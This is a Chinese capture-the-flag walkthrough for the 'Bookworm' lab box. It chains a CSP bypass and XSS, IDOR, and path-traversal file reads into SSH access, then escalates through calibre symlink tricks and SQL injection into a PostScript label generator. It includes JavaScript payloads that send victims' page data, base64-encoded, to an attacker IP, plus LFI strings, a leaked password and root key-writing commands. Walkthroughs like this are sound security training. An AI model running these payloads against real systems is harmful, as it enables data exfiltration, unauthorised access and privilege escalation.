记一次对bookworm的渗透测试绕过csp

举报
亿人安全 发表于 2024/10/31 23:28:55 2024/10/31
【摘要】 现在只对常读和星标的公众号才展示大图推送,建议大家把“亿人安全“设为星标”,否则可能就看不到了啦原文首发在先知社区https://xz.aliyun.com/t/14879概要初始知识枚举javascript基本代码编写sql注入学到知识csp绕过sql注入web程序漏洞信息收集端口扫描发现22和80开放因为网络原因我们要多扫描几次,有可能还要加-Pn参数上述域名和ip加入/etc/host...

现在只对常读和星标的公众号才展示大图推送,建议大家把“亿人安全设为星标”,否则可能就看不到了啦


原文首发在先知社区

https://xz.aliyun.com/t/14879

概要

初始知识

枚举
javascript基本代码编写
sql注入

学到知识

csp绕过
sql注入
web程序漏洞

信息收集

端口扫描

发现22和80开放
因为网络原因我们要多扫描几次,有可能还要加-Pn参数

图片

图片

上述域名和ip加入/etc/hosts文件

Website - TCP 80

Site

图片

/shop 提供书籍和价格

图片

shop/id 单击会出现一本书 的详细页面

图片

点击添加会让我们登录

图片

没有用户让我们注册一个

图片

图片

测试xss edit note功能

图片

burp抓包

图片

无过滤但是有csp
CSP 指的是内容安全策略(Content Security Policy),这是一种网络安全标准,旨在防止跨站脚本攻击(XSS)、数据注入攻击等常见的网络安全威胁。CSP 通过允许网站管理员定义哪些内容是可信的,从而限制可以在网页上执行的脚本和加载的资源

图片

图片

Content-Security-Policy: The page’s settings blocked the loading of a resource at inline (“script-src”)
.由于页面的CSP规则,浏览器阻止了一段内联JavaScript代码的执行

图片

self 指令指定同源是脚本的输入,并且由于没有列出其他任何内容,因此不会运行其他任何内容。如果要运行一个脚本,需要它来自 Bookworm

上传带有xss语句的图片

图片

图片

图片

尝试在edit note调用

图片

图片

绕过访问限制

图片

图片

IDOR 越权查看修改其他用户

图片

发现id 415尝试修改

图片

js读取其他用户数据

图片

构造攻击者URL:使用变量 attacker 构造一个URL字符串,该字符串以 "http://10.10.16.12/?url=" 开始,然后连接传入的 url 参数的编码版本。这里使用了 encodeURIComponent 函数对传入的 url 进行编码,以确保URL参数的格式正确。

发送请求:使用 fetch API 向传入的 url 发送请求。fetch 是一个用于发起网络请求的Promise-based(基于Promise)Web API。

处理响应:对 fetch 请求的响应使用 .then 进行处理。如果请求成功,res 将是一个包含响应数据的 Response 对象。

异步等待响应文本:使用 async 关键字和 await 关键字等待 res.text() 的Promise解决,这将提取响应的文本内容。

Base64编码响应文本:使用 btoa 函数将响应的文本内容进行Base64编码。

发送编码后的数据:将Base64编码后的数据作为参数附加到 attacker URL中,并通过另一个 fetch 请求发送出去。

调用函数:最后,通过调用 sendrequest 函数并传入 "http://bookworm.htb/profile" 作为参数来启动整个过程。

这段代码的目的是向两个不同的URL发送请求:

首先,它向 "http://bookworm.htb/profile" 发送请求,获取响应内容。

然后,它将获取到的响应内容进行Base64编码,并将编码后的结果作为参数发送到攻击者的URL "http://10.10.16.12/?url="。
async function getOrder(html_page) {
  try {
    const parser = new DOMParser();
    const htmlString = html_page;
    const doc = parser.parseFromString(htmlString, 'text/html');
    const orderLinks = doc.querySelectorAll('tbody a');
    const orderUrls = Array.from(orderLinks).map((link) => link.getAttribute('href'));
    return orderUrls;
  } catch (error) {
    console.error("Error:", error);
    return [];
  }
}

async function sendRequest(url) {
  try {
    const attacker = "http://10.10.*.*/?url=" + encodeURIComponent(url);
    const response = await fetch(url);
    const text = await response.text();
    const encodedData = btoa(text);
    await fetch(attacker + "&data=" + encodedData);
  } catch (error) {
    console.error("Error:", error);
  }
}

async function fetchDataAndSendRequests() {
  try {
    const response = await fetch("http://bookworm.htb/profile");
    const html = await response.text();
    const orders = await getOrder(html);
    for (const path of orders) {
      const url = "http://bookworm.htb" + path;
      await sendRequest(url);
    }
  } catch (error) {
    console.error("Error:", error);
  }
}

fetchDataAndSendRequests();

图片

解码查看

图片

LFI

使用代码查看我们所需要的内容

function getOrder(html_page) {
  const parser = new DOMParser();
  const htmlString = html_page;
  const doc = parser.parseFromString(htmlString, 'text/html');
  const orderLinks = doc.querySelectorAll('tbody a');
  const orderUrls = Array.from(orderLinks).map((link) => link.getAttribute('href'));
  return orderUrls;
}

function getDownload(html) {
  const container = document.createElement('div');
  container.innerHTML = html;
  const downloadLink = container.querySelector('a[href^="/download"]');
  const downloadURL = downloadLink ? downloadLink.href.substring(0, downloadLink.href.lastIndexOf("=") + 1) + ".&bookIds=../../../../../../proc/self/cwd/database.js" : null;
  return downloadURL;
}

function arrayBufferToBase64(buffer) {
  var binary = '';
  var bytes = new Uint8Array(buffer);
  var len = bytes.byteLength;
  for (var i = 0; i < len; i++) {
    binary += String.fromCharCode(bytes[i]);
  }
  return btoa(binary);
}

async function sendRequest(url) {
  try {
    const attacker = "http://10.10.*.*/?url=" + encodeURIComponent(url);
    const response = await fetch(url);
    const arrayBuffer = await response.arrayBuffer();
    const encodedData = arrayBufferToBase64(arrayBuffer);
    await fetch(attacker + "&data=" + encodedData);
  } catch (error) {
    console.error("Error:", error);
  }
}

async function getPdf(url) {
  try {
    const response = await fetch(url);
    const html = await response.text();
    const download = getDownload(html);
    if (download) {
      await sendRequest(download);
    }
  } catch (error) {
    console.error("Error:", error);
  }
}

fetch("http://bookworm.htb/profile").then(async (res) => {
  try {
    const html = await res.text();
    const orders = getOrder(html);
    for (const path of orders) {
      const url = "http://bookworm.htb" + path;
      await getPdf(url);
    }
  } catch (error) {
    console.error("Error:", error);
  }
});
function getOrder(html_page) {
    const parser = new DOMParser();
    const doc = parser.parseFromString(html_page, 'text/html');
    return Array.from(doc.querySelectorAll('tbody a'), link => "http://bookworm.htb" + link.getAttribute('href'));
}

function getDownload(html) {
    const parser = new DOMParser();
    const doc = parser.parseFromString(html, 'text/html');
    const downloadLink = doc.querySelector('a[href^="/download"]');
    return downloadLink ? downloadLink.href.replace(/=(.+)$/, "=.&bookIds=../../../../../../etc/passwd") : null;
}

function arrayBufferToBase64(buffer) {
    return btoa(String.fromCharCode(...new Uint8Array(buffer)));
}

function sendRequest(url) {
    const attacker = "http://10.10.*.*/?url=" + encodeURIComponent(url); // Fixed the URL
    fetch(url).then(async (res) => { // Added missing parameter in .then()
        fetch(attacker + "&data=" + arrayBufferToBase64(await res.arrayBuffer()));
    });
}

async function getPdf(url) {
    const html = await (await fetch(url)).text();
    const download = getDownload(html);
    if (download) {
        sendRequest(download);
    }
}

fetch("http://bookworm.htb/profile") // Added missing quotes for the string
    .then(res => res.text())
    .then(html => {
        const orders = getOrder(html);
        for (const path of orders) {
            getPdf(path); // getPdf is now an async function, consider using Promise.all if you want to wait for all requests to complete
        }
    })
    .catch(error => {
        console.error('Error fetching profile:', error);
    });

图片

我们把下载的内容做一个解密

图片

图片

查看当前运行的进程

/proc/self/cmdline
查看当前进程文件

图片

似乎在运行database.js
这里我们可以根据前面信息收集到的内容,推断是不是node.js,然后去找寻起构造文件

图片

图片

图片

const sequelize = new Sequelize(
  process.env.NODE_ENV === "production"
    ? {
        dialect: "mariadb",
        dialectOptions: {
          host: "127.0.0.1",
          user: "bookworm",
          database: "bookworm",
          password: "FrankTh3JobGiver",
        },
      logging: false,
      }
    : "sqlite::memory::"
);

frak

ssh frank@bookworm.htb

图片

Privilege Escalation

信息收集发现其他用户

图片

Shell as neil

可以查看neil内的源代码,发现3001端口

图片

端口转发
ssh frank@bookworm.htb -L 3001:127.0.0.1:3001
我们这里为啥么要使用ssh转发,因为ssh是系统自带

图片

是一个在线的格式转换器,根据代码知道后端调用的calibre
简单测试转换功能,发现输出在outputs目录,文件名被重命名

图片

查看calibre文档,发现可以使用其他输入输出格式例如html,txt:

ebook-convert — calibre 6.19.1 documentation
https://manual.calibre-ebook.com/generated/en/ebook-convert.html

图片

有用法

图片

它采用基于输入和输出扩展名的文件格式。如果没有输出扩展,则假定它是“开放式电子书 (OEB)”格式

图片

我们可以使用软件进行本地测试和网站转发测试

根据代码,后段执行的命令大概这样,输出文件名拼接了我们可控的outputType:
const destinationName = ${fileId}.${outputType};
const destinationPath = path.resolve(path.join(__dirname, "output", destinationName));

或许是目录遍历,我们在burp Repeater中测试它

图片


可以写入

图片


我们可不可以把公钥写入到neil用户,默认ebook-convert会创建目录
所以我们思考可以试试软连接方式吗
生成短rsa

图片

因为sim保护,所以我们要先新建一个777文件,然后创建写入文件,在写入软连接
https://sysctl-explorer.net/fs/protected_symlinks/

图片

Shell as root

neil 可以sudo执行genlabel,这是一个自定义程序,内部调用了ps2pdf执行postscript:

测试

图片

文件传输打开

图片

源码分析

根据代码查看疑似存在注入

图片

调用模板

图片

通过sql注入,我们就可以控制最终带入到postscript模板中的各种数据,从而控制最终执行的postscript脚本

图片


查看模板

图片

查看/usr/local/labelgeneration/template.ps模板文件,构造闭合,通过使用类似这样的postscript,就可以写入任意文件例如ssh公钥
https://stackoverflow.com/questions/25702146/file-i-o-in-postscript

) show
/outfile1 (/root/.ssh/authorized_keys) (w) file def
outfile1 (<your SSH public key>) writestring
outfile1 closefile
(a


所以我们就可以 直接构造提权root
sudo /usr/local/bin/genlabel "0 union select') show\n/outfile1(/root/.ssh/authorized_keys) (w) file def\noutfile1 (<your SSH public key>) writestring\noutfile1 closefile\n\n(a' as name, 'aa' as addressLine1, 'bb' as addressLine2, 'tt' as town, 'pp' as postcode, 0 as orderId, 1 as userId;"


图片

总结:从csp绕过,到横向,从基础到内网多用户跳转,代码编写,漏洞利用,更多的说明从点到面,渗透中需要更多的知识,防守防更需要排查可能存在的点,进行早预防。

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。